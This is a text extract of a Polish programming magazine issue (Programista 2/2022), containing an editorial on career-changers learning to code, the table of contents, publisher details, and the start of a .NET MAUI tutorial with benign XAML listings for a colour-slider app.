Programista 101

You might also like

Download as pdf or txt
Download as pdf or txt
You are on page 1of 84

PORÓWNANIE TECHNOLOGII JAVASCRIPT DO TWORZENIA APLIKACJI WEBOWYCH | FUSE – IRCFS

Index: 285358 www • programistamag • pl

Magazyn programistów i liderów zespołów IT

2/ 2022 (101) Cena 26,90 zł (w tym VAT 8%)


marzec/ kwiecień

PIERWSZE SPOJRZENIE
NA .NET MAUI

LAT
PROGRAMISTY

Cyber Threat Intelligence Funkcje bezpieczeństwa


– dlaczego jest ważne GitHub Advanced Security

Druk 3D. Jak zrobić coś z niczego

CI/CD jako nowoczesny workflow


#
/* 3 dobre rady dla Marków */

Historia wzięta z życia: Marek – żonaty, dzieciaty, zamieszkujący matyczne marzenia mają jak najbardziej szansę się urzeczywistnić
przedmieścia dużego miasta. Wiedzie spokojne życie: w tygodniu pra- (nawet przy tak napiętym harmonogramie życiowych zadań), jeżeli
ca, w sobotę impreza, w niedzielę kościół. Pracuje w handlu, zajmując tylko będzie miał z tyłu głowy kilka ważnych zasad.
eksponowane stanowisko. Zarabia nieźle, ale raty kredytu nie pozwala- Przede wszystkim ważny jest wspomniany już plan (harmonogram)
ją mu konsumować pieniędzy tak, jak by chciał. nauki. Musi być podzielony na etapy: od podstaw do bardziej skom-
Marek jest mądry, więc pewnego dnia postanowił zdywersyfikować plikowanych zagadnień. Kolejny dział konsekwentnie wynikający z po-
źródło zarobków. „Just in case” – jak mawiają. Przeczytał w inter- przedniego. Najlepiej do tego nadaje się internetowy kurs lub książka.
netach, że najlepiej zarabia się w IT. Dodatkowo koledzy handlowcy Chodzi o to, żeby dokładnie widzieć poszczególne etapy nauki. Wie-
utwierdzili go w przekonaniu, że programiści mają teraz jak „pączki dzieć, gdzie będziemy po odhaczeniu jej wszystkich etapów. Dobrą
w maśle”. Podobno informatyk, który jeździ czymś słabszym niż Toyo- praktyką jest zaczynanie kursu lub książki od zapoznania się ze spi-
ta RAV4, jest nieudacznikiem – podniecali się, popijając poranną kawę. sem treści. Wiemy wtedy, z jakim zakresem wiedzy mamy do czynie-
Zatem IT! – pomyślał. nia. Zagadnienia same systematyzują się wtedy w głowie. Jak kończy
Marek jest sprytny, więc do wejścia w nową branżę podszedł syste- się jeden kurs, startuje się z drugim. I tak przez dwa lata…
mowo: przewertował setki ogłoszeń o pracę dla informatyków i sporzą- Drugim ojcem sukcesu jest żelazna konsekwencja i systematycz-
dził listę najbardziej pożądanych specjalizacji. Wyszło mu, że najlepiej ność. Bez niej na nic zda się nawet najciekawszy i najbardziej przy-
zarabia się, programując w Javie lub .NET. Chociaż PHP lub devopso- stępny w formie kurs lub książka. Jeżeli Marek będzie spędzał na
wanie też całkiem nieźle by się kalkulowało. Zapisaną specjalizacjami nauce chociaż 30 minut dziennie, to ma szansę na sukces. Idealnie,
kartkę papieru powiesił na ścianie i zaczął planować kolejne kroki. gdyby mógł przeznaczyć na naukę więcej czasu, ale nie zawsze to bę-
Marek jest konsekwentny, dlatego nie zniechęcała go wizja niewy- dzie możliwe. Nie musi też cały czas siedzieć przy klawiaturze. Może
obrażalnie wielkiego wysiłku poznawania zupełnie obcej mu dziedziny przeczytać kolejny rozdział książki, czekając w samochodzie na żonę.
wiedzy. Był na to przygotowany. I chociaż miał plan i czuł, że sobie Może obejrzeć odcinek kursu, siedząc w toalecie – ale niech codzien-
poradzi, to jedno nie dawało mu spokoju: Marek miał 45 lat. Kolejne 2 nie ma kontakt z tematyką, której się uczy.
lata zajmie mu intensywna nauka. W wieku 47 lat zostanie zatrudniony Zawsze wydawało mi się, że dobrym sposobem na szybką naukę
jako Junior Developer – i to przy założeniu, że nauka rzeczywiście bę- jest rzucenie na głęboką wodę. Po około półtora roku intensywnej
dzie intensywna. Będzie miał 47 lat i będzie „dopiero” Juniorem. Słabo. nauki Marek mógłby spróbować zatrudnić się jako programista. Im
Nauka sama w sobie też nie będzie prosta. Marek ma rodzinę, obo- wcześniej zacznie, tym szybciej zadomowi się w branży IT. Codzienny
wiązki służbowe, dom, balet córki, komunię syna i masę życiowych kontakt ze środowiskiem informatyków znacznie ułatwi przyswajanie
spraw do ogarnięcia. A kiedy się uczyć? I chociaż Marek jest niezłom- wiedzy, ponieważ nie dojdzie do efektu „wyważania otwartych drzwi”,
ny, to zaczęły targać nim wątpliwości… czyli samodzielnego odkrywania w informatyce tego, co dawno odkry-
Takich Marków w Polsce są setki. te. Po pewnym czasie płynnie przejdzie z trybu „uczenia się” na tryb
O ile z problemem bycia Juniorem w wieku 47 lat trzeba poradzić „praca”.
sobie samemu (chociaż nie uważam tego za problem, bo sam wkro- To tyle. Dajesz, Marek!
czyłem w świat informatyki bardzo późno), to sam proces nauki wy-
Piotr Jaworski
maga tylko odrobiny organizacji i planowania. Zatem Markowe infor-

/* REKLAMA */
SPIS TREŚCI

01010000
01110010
BIBLIOTEKI I NARZĘDZIA
6 # Pierwsze spojrzenie na .NET MAUI
> Jacek Matulewski

01101111
20 # FUSE – IRCFS
> Paweł "KrzaQ" Zakrzewski

26 # CI/CD jako nowoczesny workflow

01100111
> Michał Zbyl

PROGRAMOWANIE APLIKACJI WEBOWYCH

01110010
40 # Porównanie technologii JavaScript do tworzenia aplikacji webowych
> Joanna Borowska, Rafał Latoszek, Justyna Łapińska, Karol Stasiak

BEZPIECZEŃSTWO

01100001
46 # Cyber Threat Intelligence – czym jest i dlaczego jest ważne
> Tomasz Krawczyk

52 # Funkcje bezpieczeństwa w GitHub Advanced Security

01101101
> Wiktor Szymański, Wojciech Maślanka

Z ARCHIWUM CVE

01101001
62 # Log4j
> Mariusz Zaborski

PLANETA IT

01110011
66 # Druk 3D. Jak zrobić coś z niczego
> Wojciech Sura

BLOCKCHAIN
76 # Blockchain dla mas. O skalowaniu słów kilka
> Przemysław Trepka
01110100
01100001
ZAMÓW PRENUMERATĘ MAGAZYNU PROGRAMISTA

Przez formularz na stronie:.............................http://programistamag.pl/typy-prenumeraty/


Na podstawie faktury Pro-forma:.........................redakcja@programistamag.pl

Prenumerata realizowana jest także przez RUCH S.A.


Zamówienia można składać bezpośrednio na stronie:.......www.prenumerata.ruch.com.pl
Pytania prosimy kierować na adres e-mail:...............prenumerata@ruch.com.pl
Kontakt telefoniczny:...................................801 800 803 lub 22 717 59 59*

*godz. 7 : 00 – 18 : 00 (koszt połączenia wg taryfy operatora)

Magazyn Programista wydawany jest przez Dom Wydawniczy Anna Adamczyk Nota prawna
Wydawca/Redaktor naczelny: Anna Adamczyk (annaadamczyk@programistamag.pl). Redaktor prowadzący: Redakcja zastrzega sobie prawo do skrótów i opracowań tekstów oraz do zmiany planów
Mariusz „maryush” Witkowski (mariuszwitkowski@programistamag.pl). Korekta: Tomasz Łopuszański. Kierownik wydawniczych, tj. zmian w zapowiadanych tematach artykułów i terminach publikacji, a także
produkcji/DTP: Krzysztof Kopciowski. Dział reklamy: reklama@programistamag.pl, tel. +48 663 220 102, nakładzie i objętości czasopisma.
tel. +48 604 312 716. Prenumerata: prenumerata@programistamag.pl. Współpraca: Michał Bartyzel, Mariusz O ile nie zaznaczono inaczej, wszelkie prawa do materiałów i znaków towarowych/firmowych
Sieraczkiewicz, Dawid Kaliszewski, Marek Sawerwain, Łukasz Mazur, Łukasz Łopuszański, Jacek Matulewski, zamieszczanych na łamach magazynu Programista są zastrzeżone. Kopiowanie i rozpowszechnianie
Sławomir Sobótka, Dawid Borycki, Gynvael Coldwind, Bartosz Chrabski, Rafał Kocisz, Michał Sajdak, Michał ich bez zezwolenia jest Zabronione.
Bentkowski, Paweł „KrzaQ” Zakrzewski, Radek Smilgin, Jarosław Jedynak, Damian Bogel (https://kele.codes/), Redakcja magazynu Programista nie ponosi odpowiedzialności za szkody bezpośrednie
Michał Zbyl, Dominik 'Disconnect3d' Czarnota. Adres wydawcy: Dereniowa 4/47, 02-776 Warszawa. i pośrednie, jak również za inne straty i wydatki poniesione w związku z wykorzystaniem informacji
Druk: http://www.edit.net.pl/, Nakład: 4500 egz. Projekt okładki: Niko Igorevich/DecimuLabs prezentowanych na łamach magazy­nu Programista.
BIBLIOTEKI I NARZĘDZIA

Pierwsze spojrzenie na .NET MAUI


Ten artykuł powstał w styczniu 2022. To ważne, bo nowe wersje zapoznawcze .NET MAUI
powstają i publikowane są dosłownie co chwilę – bieżąca jest już jedenasta. Trzeba się więc
liczyć z tym, że za kilka miesięcy, a w szczególności po oficjalnej premierze, która obecnie
planowana jest na drugi kwartał 2022 roku, wiele jeszcze może się zmienić. Technologia
.NET MAUI (od ang. Multi-platform App UI) to wieloplatformowa technologia umożliwiają-
ca tworzenie aplikacji z graficznym interfejsem użytkownika kompilowanych dla .NET 6. Co
oznacza wieloplatformowa? Obecnie dostępna jest na Windows, Android oraz systemy od
Apple. Może być dostępna także na Linuxach, ale realizacja tego zadania oddana została
w ręce społeczności. Historia .NET MAUI formalnie zaczyna się w 2020 roku, jednak rozwój
tej technologii można też traktować jako kontynuację rozwoju Xamarin.Forms i przeniesienie
jej z Mono do .NET 6.

MAUI
.NET MAUI pozwala tworzyć graficzny interfejs aplikacji przezna- kojarzyliśmy raczej z aplikacjami webowymi. .NET MAUI bazuje na
czonych na różne platformy sprzętowe i systemowe, na których do- rozwinięciu wieloplatformowego .NET Core, które obecnie porzuci-
stępne jest .NET 6. Co ważne, możemy to robić bez konieczności ło swój przydomek i nazywa się .NET 6, przejmując miejsce dotych-
utrzymywania osobnych projektów dla warstwy widoku w każdej czasowej flagowej platformy Microsoft .NET Framework. Aplikacje
z obsługiwanych platform systemowych. Wcześniej to zadanie reali- .NET MAUI mają dostęp do wspólnego dla wszystkich platform
zowało Xamarin.Forms, ale opinie o nim były „różne” – dość wspo- sprzętowych i systemowych zestawu klas .NET 6 (mowa oczywiście
mnieć, że chyba jednak częściej stosowano osobne projekty warstwy o BCL), który z kolei opiera się o Win32 z UWP w systemie Win-
widoku dla poszczególnych systemów. .NET MAUI ma zastąpić Xa- dows i Mono Runtime w pozostałych systemach. Wyżej są biblioteki
marin.Forms i usunąć jego słabości, ale jest przy tym jego ewolucyj- służące do tworzenia aplikacji charakterystyczne dla poszczególnych
nym rozwinięciem. systemów, a więc .NET for Android, .NET for iOS, .NET for Mac
Obsługiwane systemy operacyjne to Android od wersji 5.0 (API 21), i WinUI 3 (z UWP). Na szczęście powyżej tego jest jeszcze nasze .NET
iOS 10 lub nowszy, macOS 10.13 oraz Windows. W tym ostatnim MAUI, które unifikuje tworzenie aplikacji na wszystkich platformach.
przypadku chodzi zarówno o tzw. aplikacje „klasyczne” na desktop, Co ciekawe, unifikacja ta nie dotyczy tylko kontrolek, z których
jak i aplikacje uruchamiane na platformie UWP, a więc dystrybuowa- budujemy interfejs. .NET MAUI dostarcza również zunifikowany do-
ne przez Microsoft Store. Poza tym na stronie projektu znajduje się stęp do sensorów (akcelerometr, żyroskop, kompas itp.), umożliwia
informacja, że w przyszłości wspierane będą platformy Tizen oraz sprawdzanie stanu sieci z wykrywaniem jego zmian, dostęp do infor-
Linux. Pierwsza jest systemem operacyjnym stworzonym przez firmę macji o urządzeniu, dostęp do plików i mechanizmów przechowywa-
Samsung na bazie Linuxa i służy do obsługi smartwatchy i SmartTV; nia danych, możliwość użycia wbudowanego syntezatora mowy itp.
wsparcie dla niej będzie zapewniał właśnie Samsung. Natomiast To oznacza, że, przynajmniej w pewnym zakresie, aplikacje napiszemy
wsparcie dla Linuxa ma być całkowicie w rękach społeczności. Na bez konieczności różnicowania kodu dla poszczególnych platform. Na
razie ani Tizen, ani Linux, jak również klasyczny desktopowy Win- razie trudno jednak ocenić, na ile jest to wiarygodna obietnica.
dows, nie są obecne w dotychczas udostępnionych wersjach zapo- Konsekwencją nowego podejścia są rozwiązania, w których apli-
znawczych .NET MAUI. kacja znajduje się w pojedynczym projekcie, w którym różne platfor-
Aplikacje dla urządzeń mobilnych z systemami Android lub iOS my obsługiwane są w razie konieczności za pomocą „równoległych”
z interfejsem budowanym za pomocą technologii MAUI mogą być plików umieszczonych w przypisanych platformom podfolderach,
tworzone za pomocą Visual Studio dla systemów Windows lub macOS a nie osobnych projektów. To oczywiście powinno uprościć rozwój
w wersji 2022 Preview. Jednak jeżeli chcemy kompilować aplikacje niezbyt rozbudowanych aplikacji.
dla iOS, musimy mieć również Mac’a z XCode 13.0 Beta 1. Tworzenie Wartą odnotowania nowością .NET MAUI jest dostosowanie
aplikacji MAUI dla Windows i macOS możliwe jest tylko w Visual aplikacji do potrzeb osób z niepełnosprawnościami, w szczególności
Studio dla właściwego systemu. wsparcie dla czytników ekranów (ang. screen reader).
MAUI unifikuje systemy umożliwiające tworzenie aplikacji z gra-
ficznym interfejsem użytkownika dla wymienionych wyżej platform Więcej aktualnych informacji można znaleźć na stronie:
https://docs.microsoft.com/pl-pl/dotnet/maui/.
w oparciu o język znaczników XAML. Ale nie tylko. Nowością jest
również możliwość wykorzystania języka Blazor, który do tej pory

<6> { 2 / 2022 < 101 > }


/ Pierwsze spojrzenie na .NET MAUI /

INSTALACJA VISUAL STUDIO 2022 jedyncze składniki i wpisać hasło „MAUI”. Wówczas pojawią się czte-
ry pakiety widoczne na Rysunku 2. Oprócz nich należy zainstalować
PREVIEW także pakiet Android SDK (poziom 31 interfejsu API) – Rysunek 2.
Zabawę z .NET MAUI musimy zacząć od instalacji Visual Studio 2022 Ale bez obawy, tak wysokie API wcale nie jest potrzebne do urucho-
w wersji Preview (VS). Jest ona konieczna, bo pakiety .NET MAUI mienia aplikacji .NET MAUI – wystarczy API 20 odpowiadające An-
nie są jeszcze dostępne w pełnej wersji tego środowiska. Wersję Pre- droidowi 5.0.
view możemy pobrać za darmo w różnych edycjach (Rysunek 1). Z góry uprzedzam, że .NET MAUI potrafi być bardzo kapryśne.
Ja wybrałem Visual Studio Community. Projekty czasem nie chcą się kompilować, choć bez problemu można
je skompilować po ponownym uruchomieniu Visual Studio. Bywa
również tak, że w edytorze są widoczne fragmenty kodu podkreśla-
ne na czerwono, a projekt kompiluje się bez błędów (i podkreślenia
wówczas wcale nie znikają). Przełączanie między platformami także
nie zawsze działa idealnie – po przełączeniu nie można wdrożyć apli-
kacji na wybrany system itd. Należy zatem uzbroić się w cierpliwość,
pamiętając, że nadal mamy do czynienia tylko z wersją zapoznawczą.

TWORZENIE PROJEKTU
Aby przyjrzeć się .NET MAUI, proponuję zbudować prostą aplika-
cję, od której zawsze rozpoczynam poznawanie nowych technologii
pozwalających na tworzenie graficznych interfejsów użytkownika
(GUI). W aplikacji tej za pomocą trzech suwaków będziemy kon-
Rysunek 1. Dostępne do pobrania wersje Visual Studio
trolować kolor widocznego w oknie prostokąta. To prosty projekt,
ograniczony wyłącznie do kontrolek i manipulacji nimi bez odwo-
Podczas instalacji należy wybrać zestawy Opracowywanie aplikacji ływania się do bardziej złożonych zagadnień, charakterystycznych
mobilnych za pomocą środowiska .NET oraz Programowanie aplikacji dla poszczególnych platform, ale umożliwia rozpoznanie podstawo-
klasycznych dla platformy .NET. Obecnie ten pierwszy zestaw zawie- wych mechanizmów i narzędzi służących do budowania GUI. Zwy-
ra już domyślnie składniki wymagane do tworzenia aplikacji .NET kle oznacza to naukę wizualnych narzędzi projektowania interfejsów,
MAUI, jednak we wcześniejszych wersjach – albo gdy tę możliwość które obsługiwane są myszką. Te jednak w przypadku MAUI nie są
chcemy dodać do już zainstalowanego zestawu – należy je dodać sa- jeszcze udostępnione – w chwili pisania tego artykułu nie ma nawet
modzielnie. W tym celu w instalatorze należy przejść na zakładkę Po- podglądu projektowanego interfejsu.

Rysunek 2. Pakiety .NET MAUI w Visual Studio 2022 Preview

{ WWW.PROGRAMISTAMAG.PL } <7>
BIBLIOTEKI I NARZĘDZIA

Uruchamiamy Visual Studio 2022 Preview (moja wersja ma nu- Utworzyliśmy projekt o nazwie KoloryMAUI, którego pliki do-
mer 17.1.0 Preview 1.1). Pojawi się okno początkowe (Rysunek 3), myślnie zostały umieszczone w podkatalogu \source\repos\Projects\
w którym możemy wybrać istniejący lub utworzyć nowy projekt. KoloryMAUI\KoloryMAUI katalogu domowego. W katalogu projek-
Z listy z prawej strony tego okna wybieramy Utwórz nowy projekt. tu znajdziemy między innymi dwie pary plików: MainPage.xaml/Ma-
Na kolejnej stronie, aby wyszukać odpowiedni typ projektu, może- inPage.xaml.cs oraz App.xaml/App.xaml.cs. Pierwsza para odpowiada
my wprowadzić „MAUI” w polu edycyjnym i z zaproponowanych za zawartość prezentowaną użytkownikowi w GUI, druga – za dzia-
szablonów wybieramy .NET MAUI App (Preview). Klikamy Dalej. łanie całej aplikacji. W tym artykule skupię się na plikach z pierwszej
W polu Nazwa projektu wpisujemy „KoloryMAUI” i klikamy Utwórz. pary. To ich zawartość zobaczymy w głównym oknie Visual Studio po
utworzeniu projektu. Widoczne są tam bowiem dwie zakładki o na-
Warto wspomnieć, że jest możliwość wyboru projektu z interfejsem tworzonym w tech- zwach MainPage.xaml i MainPage.xaml.cs (Rysunek 4). Na pierwszej
nologii Blazor, która może być szczególnie atrakcyjna dla osób mających doświadcze-
nie w tworzeniu aplikacji internetowych.
z nich widzimy kod XAML opisujący wygląd zawartości okna (jak już
wspomniałem, na razie bez podglądu), a na drugiej kod C# związany
z tym oknem. Warto zwrócić uwagę, że inaczej niż w WPF, a podobnie
jak w UWP, pliki te opisują jedynie zawartość okna, a nie samo okno.
Ważną konsekwencją tego faktu jest to, że nie mamy z tego miejsca
dostępu do zdarzeń charakterystycznych dla okna, np. sygnalizujące-
go jego zamknięcie.
Warto także zwrócić uwagę, że w utworzonym rozwiązaniu jest
tylko jeden projekt. Nie ma typowych dla Xamarin wielu osobnych
projektów opisujących warstwę widoku dla poszczególnych plat-
form przy wspólnym projekcie modelu (tak było nawet w projektach
Xamarin.Forms). Pliki specyficzne dla poszczególnych platform kry-
ją się natomiast w folderze Platforms z podfolderami Android, iOS,
MacCatalyst i Windows. Dzięki nim z łatwością można także rozdzie-
lać zasoby dla poszczególnych platform (np. używane pliki graficz-
ne). Oczywiście nic nie stoi na przeszkodzie, abyśmy w miarę roz-
woju aplikacji wyodrębnili do osobnego projektu np. bibliotekę klas,
Rysunek 3. Okno początkowe w Visual Studio 2022 Preview które będą tworzyły model aplikacji – jej logikę niezależną od GUI;

Rysunek 4. Edytor kodu XAML w Visual Studio 2022

<8> { 2 / 2022 < 101 > }


/ Pierwsze spojrzenie na .NET MAUI /

nie ma jednak konieczności tworzenia osobnych projektów opisują- Należy wówczas sprawdzić, czy wybrana jest właściwa platforma kom-
cych GUI na każdej z platform. Ważne jest to, że mimo jednego pro- pilacji .NET 6, tj. czy jest zgodna z platformą, na której chcemy uru-
jektu, jest on kompilowany osobno dla każdej platformy. chomić aplikację (Rysunek 5). W tej chwili wybór tych dwóch opcji
nie zawsze jest automatycznie korelowany ze sobą przez VS.

URUCHAMIANIE APLIKACJI
W SYSTEMIE WINDOWS
Warto od razu uruchomić program, aby sprawdzić, czy wszystko jest
w porządku. Proponuję zacząć od systemu Windows, żeby nie zaj-
mować się teraz tworzeniem wirtualnego urządzenia z systemem
Android uruchamianym w emulatorze lub podłączaniem rzeczywi-
stego urządzenia przez kabel USB. Tym zajmiemy się w dalszej części
artykułu. Rysunek 5. Wybór platformy, na której chcemy uruchomić aplikację

Czasem zdarza się, że po utworzeniu lub wczytaniu projektu


MAUI nie ma możliwości uruchomienia aplikacji; w pasku narzędzi To jednak nie koniec. Jeżeli pakiety MAUI były doinstalowane już po
VS widoczna jest jedynie opcja Dołącz, pomimo że wszystkie dzia- zainstalowaniu Visual Studio 2022 Preview, przy próbie uruchomienia
łania wykonywane w tle zostały już ukończone. Wówczas zwykle pojawi się komunikat „Projekt nie ma informacji dotyczących uru-
pomaga ponowne uruchomienie VS i załadowanie projektu. Zdarza chamiania profilu Windows Machine”. Wówczas należy zainstalować
się również, że niemożliwe jest wczytanie wcześniej utworzonego w VS rozszerzenie o nazwie Single-project MSIX Packaging Tools for
projektu – VS w nieskończoność wyświetla wówczas okno z napisem VS 2022. W tym celu z menu Rozszerzenia należy wybrać Zarządzaj
Przygotowywanie rozwiązania…. Zauważyłem, że wówczas działa rozszerzeniami i w polu wyszukiwania wprowadzić „Single-project”.
taka sztuczka: uruchomienie kolejnej instancji VS bez zamykania Powinniśmy wówczas zobaczyć właściwy pakiet (Rysunek 6), a na-
tej pierwszej i wczytanie tego samego projektu. Pierwotną instancję stępnie kliknąć Pobierz. Aby instalacja się rozpoczęła, należy zamknąć
trzeba niestety potem „zabić” z poziomu menedżera zadań. całe środowisko VS. Po ponownym jego uruchomieniu i wczytaniu
Jak już wczytanie projektu do VS się powiedzie, z rozwijanej listy projektu KoloryMAUI należy przebudować projekt (menu Kompilacja,
przy ikonie uruchamiania aplikacji wybierzmy Windows Machine. pozycja Kompiluj ponownie rozwiązanie lub klawisze Ctrl+Shift+B).
To jednak może nie wystarczyć, bo przy próbie kompilacji i wdraża- Wówczas wreszcie możemy wcisnąć klawisz F5, aby wdrożyć i uru-
nia aplikacji mogą pojawić się błędy związane z wyborem platformy. chomić aplikację.

Rysunek 6. Rozszerzenie zarządzające jedno-projektowymi rozwiązaniami MAUI

{ WWW.PROGRAMISTAMAG.PL } <9>
BIBLIOTEKI I NARZĘDZIA

Przy pierwszym uruchomieniu z VS aplikacji MAUI na danym


APLIKACJA STEROWANA
komputerze napotkamy ostatni problem, ale już naprawdę drobny.
ZDARZENIAMI
Aby zainstalować aplikację pod Windows z Visual Studio, musimy
włączyć w systemie Windows tryb programisty (odpowiednie okno Osoby, które dopiero uczą się XAML (w MAUI, WPF lub UWP),
ustawień zostanie automatycznie otwarte – Rysunek 7). a mają doświadczenie w programowaniu aplikacji „okienkowych”
(np. z użyciem biblioteki Windows Forms lub narzędzi Embarcadero),
najprawdopodobniej przeniosą swoje nawyki i w naturalny sposób za-
czną korzystać ze zdarzeń. To zaprowadzi ich do wzorca, w którym
dane tworzące stan aplikacji i dotycząca ich logika są przechowywane
w klasach widoku, bez żadnej separacji modułów odpowiedzialnych
za poszczególne funkcjonalności projektu. W takim podejściu do
określenia tego, jak aplikacja ma reagować na działania użytkownika,
wykorzystywane są wygodne zdarzenia kontrolek. Brak separacji po-
szczególnych modułów utrudnia jednak testowanie kodu; w prakty-
ce możliwe jest tylko testowanie funkcjonalne całej aplikacji. To nie
musi być złe rozwiązanie. Zgodnie z tym wzorcem aplikacje tworzy
się szybko, szczególnie w początkowej fazie projektu, tzn. zanim okaże
się, że zamawiający chce go jednak znacząco rozbudować lub zmienić.
A zazwyczaj tak jest. Jednak nie tylko rozmiar projektu powinien de-
cydować o wybieranym wzorcu architektonicznym. Nie zawsze warto
dbać o rozdzielanie modułów i najlepsze praktyki. Czasem ważne jest,
aby aplikacja powstała szybko i zadziałała w konkretnym przypadku.
Jeżeli na tym kończy się życie projektu, to wysiłek włożony w jego
„czystość” w żaden sposób nie zaprocentuje. Problem tylko w tym, że,
Rysunek 7. Włączanie trybu deweloperskiego w Windows 10 jak pokazuje praktyka, naprawdę rzadko na tym się kończy – taki pro-
wizoryczny kod trzeba potem często utrzymywać i rozwijać.
I wówczas wreszcie zobaczymy aplikację MAUI, którą zawiera do-
myślnie utworzony projekt (Rysunek 8). Kosztowało nas to sporo
PROJEKTOWANIE INTERFEJSU Z MAUI
wysiłku, ale liczę, że tych wszystkich czynności nie będzie trzeba wy-
konywać w finalnej wersji MAUI. Jak wspominałem, w obecnej wersji .NET MAUI nie ma jeszcze wi-
doku projektowania, jaki znamy z projektów WPF lub UWP. Nie ma
także możliwości tworzenia interfejsu za pomocą Blend for Visual
Studio 2022 Preview. To może nie jest aż tak wielka strata, skoro i tak
większość programistów bezpośrednio edytuje kod XAML, ale wy-
godnie byłoby mieć chociażby podgląd. Na razie musimy się jednak
obyć bez niego.
Zatem zamiast układać kontrolki za pomocą myszy w widoku
projektowania, przejdźmy od razu do edycji kodu XAML. Usuńmy
domyślny kod, ale nie cały, a jedynie zawartość elementu Grid, zosta-
wiając także otaczający go ScrollView. Ten ostatni element umożli-
wia przewijanie umieszczonej wewnątrz niego zawartości. W miejsce
usuniętego kodu wstawmy kod wyróżniony w Listingu 1, w którym
w pierwszym wierszu siatki umieszczamy prostokąt, a pod nim trzy
suwaki – każdy w osobnym wierszu. Suwaki będą kontrolować skła-
dowe RGB koloru prostokąta. Zwróćmy również uwagę na zmianę
atrybutu RowDefinitions w elemencie Grid. W poniższym i w ko-
lejnych listingach zmiany, jakie należy wprowadzić w kodzie, wyróż-
nione są szarym tłem.
Rysunek 8. Domyślna aplikacja z projektu MAUI utworzonego na podstawie szablonu
(w przypadku aplikacji z interfejsem tworzonym w Blazor domyślny projekt jest inny) Listing 1. Kod XAML opisujący wygląd okna

<ContentPage
Zaskoczyć może rozmiar folderu z projektem MAUI, który jest ogromny (kilkaset me- xmlns="http://schemas.microsoft.com/dotnet/2021/maui"
gabajtów). Chcąc go przenieść lub zarchiwizować, można jednak usunąć największe xmlns:x="http://schemas.microsoft.com/winfx/2009/xaml"
podfoldery, a mianowicie KoloryMAUI\bin oraz KoloryMAUI\obj\Debug (także Kolo- x:Class="KoloryMAUI.MainPage"
ryMAUI\obj\Release, jeżeli skompilujemy projekt w trybie Release). Rozmiar folderu BackgroundColor="{DynamicResource SecondaryColor}">
maleje wówczas do kilku megabajtów.

<10> { 2 / 2022 < 101 > }


/ Pierwsze spojrzenie na .NET MAUI /

<ScrollView> Warto zwrócić uwagę na atrybuty elementu Page. Atrybut x:Class


<Grid
RowSpacing="25"
tworzy pomost między elementem Page, określającym opisywaną
RowDefinitions="Auto,Auto,Auto,Auto" w pliku zawartość okna, a klasą C# o nazwie MainPage w przestrzeni
Padding="{OnPlatform iOS='30,60,30,30',
Default='30'}"> nazw KoloryMAUI, której jeszcze nie edytowaliśmy, a która znajduje się
<Rectangle
w pliku MainPage.xaml.cs. Atrybut xmlns (od XML namespace) okre-
Grid.Row="0" śla domyślną przestrzeń nazw używaną w bieżącym elemencie XAML
HeightRequest="300"
Fill="Black" /> i w jego podelementach – w pewnym sensie odpowiada instrukcji
<Slider using w kodzie C#. Z kodu wynika, że dostępne są dwie przestrzenie
Grid.Row="1" />
<Slider nazw. Pierwszą jest przestrzeń domyślna (bez nazwy), zadeklarowana
Grid.Row="2" /> jako http://schemas.microsoft.com/dotnet/2021/maui, która za-
<Slider
Grid.Row="3" /> wiera definicje większości elementów XAML, m.in. Rectangle i Slider.
</Grid> Drugą przestrzenią jest ta dostępna pod nazwą x. To w tej przestrzeni
</ScrollView> zdefiniowany jest atrybut Name. Właśnie dlatego w usuniętym kodzie
</ContentPage>
znajdowały się atrybuty x:Name; za chwilę także i my ich użyjemy.

Usunięcie domyślnego kodu XAML spowoduje, że projektu nie W odróżnieniu od aplikacji WPF, w których kod XAML opisuje okno (nadrzędny znacz-
nik w WPF to Window, a nie Page, jak w MAUI i UWP), nie możemy z kodu pliku
można będzie skompilować, ponieważ w kodzie C# są odwołania do MainPage.xaml skutecznie wpływać na tytuł i rozmiar okna. Nie możemy także z tego
nazw usuniętych kontrolek. Niebawem przejdziemy do kodu C# i bę- poziomu zareagować np. na jego zamknięcie.
dziemy go zmieniać, ale jeżeli kogoś niepokoi niemożność skompilo-
wania projektu, wystarczy usunąć z klasy MainPage (plik MainPage.
xaml.cs) całą metodę OnCounterClicked. Można również usunąć
NAZWY KONTROLEK I ZDARZENIA
deklarację pola count.
Załóżmy, że projektowanie graficznego interfejsu jest już zakończony.
Osobne podfoldery w folderze Platforms to nie jedyny mechanizm umożliwiający Kolejnym etapem tworzenia aplikacji jest określenie jej „dynamiki”.
różnicowanie kodu źródłowego na poszczególne platformy. Sam język XAML został
również wyposażony w możliwość dopasowywania ustawień interfejsu osobno dla
Chcemy, aby suwaki umożliwiały ustalanie koloru prostokąta, a kon-
poszczególnych platform. Pozwalają na to klasy OnPlatform i On. W przypad- kretnie, żeby możliwe było ustawianie z ich pomocą wartości trzech
ku „jednostronicowych” aplikacji, jak ta przedstawiona w artykule, typowym jest na
przykład zwiększenie górnego marginesu w systemach iOS, aby uniknąć paska stanu
składowych RGB koloru.
w tym systemie. W rozwiniętej formie ze znacznikami zagnieźdżonymi widoczne jest Proponuję zacząć od nadania kontrolkom nazw, aby można było
to w listingu poniżej, natomiast skrócona wersja widoczna jest w Listingu 1. Klasa
OnPlatform jest typem ogólnym (parametrycznym) z parametrem typu Thickness. się do nich odwołać z kodu C# w klasie MainPage. Ustawmy nazwy
Jej własnością związaną z zawartością jest Platforms, więc choć jest widoczna na suwaków tak, żeby odpowiadały składowym koloru, z którymi będą
poniższym listingu, może być pominięta. Własność ta jest listą, można więc podać
ustawienia na jedną lub więcej platform, korzystając ze znacznika On. Dostępne plat- związane: sliderR, sliderG i sliderB. Musimy też nadać nazwę
formy to: Android, GTK, iOS, macOS, Tizen, UWP i WPF. prostokątowi. Nazwy są ważne, bo bez nich nie będziemy mogli od-
<Grid …> czytywać lub modyfikować własności kontrolek. Aby nadać nazwę
<Grid.Padding>
<OnPlatform x:TypeArguments="Thickness"> elementowi XAML reprezentującemu kontrolkę, trzeba ustalić war-
<OnPlatform.Platforms> tość jego atrybutu x:Name (Listing 2).
<On Platform="iOS" Value="0, 20, 0, 0" />
<On Platform="Android" Value="0, 0, 0, 0" />
<On Platform="UWP" Value="0, 0, 0, 0" /> Listing 2. Nazwy w elementach XAML widoczne są w klasie MainPage jako pola
</OnPlatform.Platforms>
</OnPlatform> <Rectangle
</Grid.Padding> x:Name="rectangle"
</Grid> Grid.Row="0"
HeightRequest="300"
Fill="Black" />
<Slider
x:Name="sliderR"
Grid.Row="1" />
KILKA UWAG NA TEMAT KODU XAML <Slider
x:Name="sliderG"
Grid.Row="2" />
